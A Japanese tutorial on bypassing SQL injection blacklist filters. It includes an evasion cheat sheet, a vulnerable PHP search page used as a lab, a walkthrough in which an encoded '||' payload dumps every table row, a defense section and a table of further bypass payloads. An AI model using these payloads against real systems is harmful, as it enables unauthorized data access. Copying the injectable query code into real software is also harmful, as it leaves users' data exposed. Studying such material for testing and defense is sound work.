はじめに
高度な SQL Injection におけるフィルター回避テクニック
現代の Web アプリケーションは、SQL インジェクション対策として
「キーワード除去」「特殊文字削除」「ブラックリストフィルタ」など
基本的な防御を備えていることが多い。
しかし、これらは熟練の攻撃者からすると 簡単に回避されてしまう防御 でもある。
本記事では、ペンテスターが実務で使う フィルター回避(Filter Evasion)テクニック を解説し、
特に Character Encoding / No-Quote Injection / No-Space Injection を軸に、
実際のコードと攻撃例を用いてフィルタバイパスの仕組みを説明する。
本記事の目的
- フィルタリングがなぜ脆弱なのか理解する
- Character encoding を利用した SQLi フィルタ回避の具体例を学ぶ
- スペースが使えない / quotes が使えない状況での回避テクニックを理解する
- 実際の vulnerable アプリを使った攻撃手順を習得する
フィルター回避のキーワード一覧(CHEAT SHEET)
まずは実務で最も使われるフィルタ回避ワードの一覧から。
Character Encoding(文字コードを利用した回避)
- URL Encoding(%27, %20, %3D…)
- Double URL Encoding(%2527 など)
- Hex Encoding(0x61646d696e)
- Unicode Escape(\u0061\u0064\u006d)
- Mixed Encoding(%2f%5c%2e などパス回避でも)
No-Quote Injection(quotes が使えない場合)
- CHAR(), CONCAT(), UNHEX(), X'41'
- 0x 形式の文字列
- 数字ベースの条件式(1=1, 1||1 など)
No-Space Injection(スペース禁止の回避)
- コメント利用:
/**/,/*!00000*/ - タブ:
%09 - 改行:
%0a,%0d - その他:
%0c,%0b(フォームフィードなど)
Keyword Bypass(キーワード回避)
- U/**/NION
- SEL/**/ECT
- UnIoN、unIon、SeLeCt(大文字小文字混在)
- ヌルバイト(%00)で切断
Logical Operator Bypass
- OR →
|| - AND →
&& - 1 OR 1 → 1||1
- TRUE → 1=1, 2>1, 99!=0
Case Study: Character Encoding を使った SQL Injection 回避
今回の vulnerable アプリは以下のような とても典型的な「シンプルだが脆弱」なフィルタ を実装している。
PHP 側のコード(search_books.php)
$book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "<p>Generated SQL Query: $sql</p>";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");
問題点
- ブラックリスト方式のフィルタは簡単に破られる
- encode された文字列は置換できない
- quotes を正しくエスケープしていない
- パラメータ化されていない
クライアント側のコード(AJAX)
xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);
攻撃者は encodeURIComponent() を逆利用 して、
フィルタが認識しない形で SQL ペイロードを送ることができる。
正常検索の例
「Intro to PHP」を検索すると通常通り結果が返る。
(画像:正常検索の画面)
Generated SQL Query: SELECT * FROM books WHERE book_name = 'Intro to PHP'
Book ID: 1
Name: Intro to PHP
Author: 1337
単純な SQLi を試す(失敗)
Intro to PHP' OR 1=1--
しかしフィルタにより OR が消され、クエリは壊れてエラーになる。
Generated SQL Query: SELECT * FROM books WHERE book_name = 'Intro to PHP' 1=1--'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1--'' at line 1 (Error Code: 1064)
Payload の準備
フィルタ bypass のため、次のテクニックを使用する:
-
'→%27 - space →
%20 - OR →
||に置換(フィルタされない) - comment →
%2D%2Dor--+ -
=→%3D
最終ペイロード
1%27%20||%201=1%20--+
デコードすると:
1' || 1=1 --
なぜ bypass できたのか?
| 部分 | 意味 |
|---|---|
%27 |
'(quotes を閉じる) |
| %20 | |
1=1 |
恒真条件 |
--+ |
コメント化により残りを消す |
実際に攻撃してみる
標準 payload(失敗)
/search_books.php?book_name=Intro%20to%20PHP'%20OR%201=1
→ エラー
Generated SQL Query: SELECT * FROM books WHERE book_name = 'Intro to PHP' 1=1'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1'' at line 1 (Error Code: 1064)
URL Encoded Payload(成功)
/search_books.php?book_name=1%27%20||%201=1%20--+
結果:全レコードがダンプされる
Generated SQL Query: SELECT * FROM books WHERE book_name = '1' || 1=1 -- '
Book ID: 1
Name: Intro to PHP
Author: 1337
Book ID: 2
Name: Intro to Python
Author: Lee
Book ID: 3
Name: Top Selling 2024
Author: George Kennedy
Book ID: 6
Name: Animal Series
Author: Tom Hanks
なぜ URL エンコードで bypass できるのか?
理由はとてもシンプル:
str_replace("OR", "", $input);
は エンコードされた “%4F%52” を検知できない。
また、
|| は OR と等価だが、フィルタ対象ではないため削除されない。
サーバ側で URL decode → SQL に渡される時点で 元の危険文字が復元される。
教訓:ブラックリスト型防御は必ず破られる
攻撃者は:
- 文字コードを変える
- 空白を変える
- オペレータを変える
- 文字を分解する(U/**/NION)
- コメントで繋ぐ
- そもそも quotes を使わない手法を使う
こうした手法を簡単に組み合わせられるため、
str_replace や単純な正規表現によるフィルタリングは 本質的に防御にならない。
防御方法
- Prepared Statement(パラメータ化クエリ)
- エンコードの normalize(デコードを1回に統一)
- ブラックリストではなくホワイトリスト
- ORMs を使う
- WAF は補助として併用
まとめ
Keyword Bypass Scenario 一覧
| Scenario | Description | Example |
|---|---|---|
| Keywords like SELECT are banned | SQL keywords can often be bypassed by changing their case or adding inline comments to break them up |
SElEcT * FrOm users or SE/**/LECT * FROM/**/users
|
| Spaces are banned | Using alternative whitespace characters or comments to replace spaces. |
SELECT%0A*%0AFROM%0Ausers or SELECT/**/*/**/FROM/**/users
|
| Logical operators like AND, OR are banned | Using alternative logical operators or concatenation to bypass keyword filters. | username = 'admin' && password = 'password' or username = 'admin'/**/||/**/1=1 \-\- |
| Common keywords like UNION, SELECT are banned | Using equivalent representations such as hexadecimal or Unicode encoding to bypass filters. | SElEcT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E) |
| Specific keywords like OR, AND, SELECT, UNION are banned | Using obfuscation techniques to disguise SQL keywords by combining characters with string functions or comments. |
SElECT * FROM users WHERE username = CONCAT('a','d','m','i','n') or SElEcT/**/username/**/FROM/**/users
|